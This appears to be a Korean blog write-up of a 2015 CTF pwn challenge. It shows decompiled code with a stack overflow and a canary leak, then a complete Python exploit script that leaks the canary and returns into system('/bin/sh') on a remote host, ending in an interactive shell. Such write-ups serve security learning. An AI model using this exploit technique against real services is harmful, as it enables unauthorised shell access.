-
SSA과제 qlvlejtmCTF 2015. 11. 1. 16:49
릭해서 패스워드 가져오는것은 요약하고, 실제 카나리값을구하고 페이로드로 설명하겠습니다
case 2: puts("confirm terminate"); puts("default = 0"); printf("wanna change? : "); __isoc99_scanf("%d", &dword_804B100); if ( dword_804B100 ) puts("true"); else puts("false"); continue; case 3: printf("insert addr >> "); read(0, &v9, 11337u); // overflow puts("browsing ......"); puts("Connecton Failed....\n"); continue; case 4: printf("Enter Your Favorite Site: "); read(0, &v13, 32u); printf("Enter Your Name: "); read(0, &unk_804B0E0, 32u); printf("Enter Your Nickname: "); __isoc99_scanf("%s", &v12); // leak printf("%s's Favorite site: ", &unk_804B0E0); printf("%s", &v13); printf("Wow~ Me too.. Also I like http://www.naver.com/!"); continue;
우선 핵심은 이 3개의 케이스문이다.
2번 케이스문에서는 이따 쉘을따기위한 조건을 맞춰주기위해 값이 필요하고,3번 케이스문에서는 보다시피 read함수의 취약점이 존재한다.
4번 케이스문에서는 카나리를 릭할수있을 뿐만아니라 unk_804b0e0에 우리가 원하는값을담아서 해당주소로 system인자로 주면 /bin/sh을 넣을시 쉘을 딸수있다.
+ 패스워드구하는것은 생략했지만 argv[0] ssp 메세지로 패스워드를 따는것은 신박했음
저렇게 카나리를 모두 릭하고, system 함수도 있고, 그냥 페이로드로 넣어준다.
페이로드변수를 보면 "\x90"*217이되어있는데, 이유는 변수를 보면 알수있다.
void *v0; // edx@1 unsigned int v1; // ebx@1 int v2; // edi@5 int v3; // edx@5 int result; // eax@10 int v5; // edx@28 int v6; // [sp+14h] [bp-F4h]@12 int v7; // [sp+18h] [bp-F0h]@24 FILE *v8; // [sp+1Ch] [bp-ECh]@1 char v9; // [sp+23h] [bp-E5h]@18 char v10; // [sp+87h] [bp-81h]@1 int v11; // [sp+88h] [bp-80h]@2 char v12; // [sp+C7h] [bp-41h]@19 char v13; // [sp+E7h] [bp-21h]@19 char v14; // [sp+FBh] [bp-Dh]@1 int v15; // [sp+FCh] [bp-Ch]@1
read에서 터지는건 v9이다. v9의 버퍼크기는 0xe5 하지만 버퍼뒤에 카나리가 온다는사실은 당연히 모두 알고있을거고, v15변수에 카나리를 받게된다.
v15의 크기는 0xc니까, 0xe5-0xc를 해보면 카나리 위치까지 도달한다. 카나리를 넣어주고, SFP+DUMMY를 넣어준후에 시스템쉘을 획득하기위한 페이로드가 후에 존재한다.
예전에 낙현이가 SSP 메세지로 구하는법을 알려줘서 쉽게 푼듯하다
from socket import * import struct,time p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x)[0] HOST = "61.105.8.2" PORT = 12345 s = socket(AF_INET,SOCK_STREAM) s.connect((HOST,PORT)) # password leak source # password = 0x804B060 # print s.recv(1024) # s.send("\x90"*1 + p(password)*100 + "\n") # print s.recv(1024) system = 0x8048610 password = "passw0rd!_" shell = 0x804B0E0 print s.recv(1024) s.send(password + "\n") print s.recv(1024) s.send("4" + "\n") print s.recv(1024) s.send("A"*22) print s.recv(1024) s.send("/bin/sh" + "\n") print s.recv(1024) s.send("A" + "\n") time.sleep(0.5) canary = chr(0x00) + s.recv(1024).split("A"*22)[1][0:3] print "[*] Canary: %s" % hex(up(canary)) payload = "\x90"*217 payload += canary payload += "\x90"*12 payload += p(system) payload += "AAAA" payload += p(shell) # if(!dword_804B100 ) s.send("2" + "\n") s.send("1" + "\n") #vuln send payload s.send("3" + "\n") print s.recv(1024) s.send(payload + "\n") print s.recv(1024) #escape s.send("123456" + "\n") print s.recv(1024) s.send("1" + "\n") while True: cmd = raw_input("$") s.send(cmd + "\n") print s.recv(1024)
'CTF' 카테고리의 다른 글
[CodeGate]BookStore (0) 2015.11.13 [CodeGate 2014]4stone (0) 2015.11.06 [JFF3]Market1 (0) 2015.10.29 [EKOPARTY]pwn50 (0) 2015.10.26 [CodeGate 2014]nuclear (0) 2015.10.22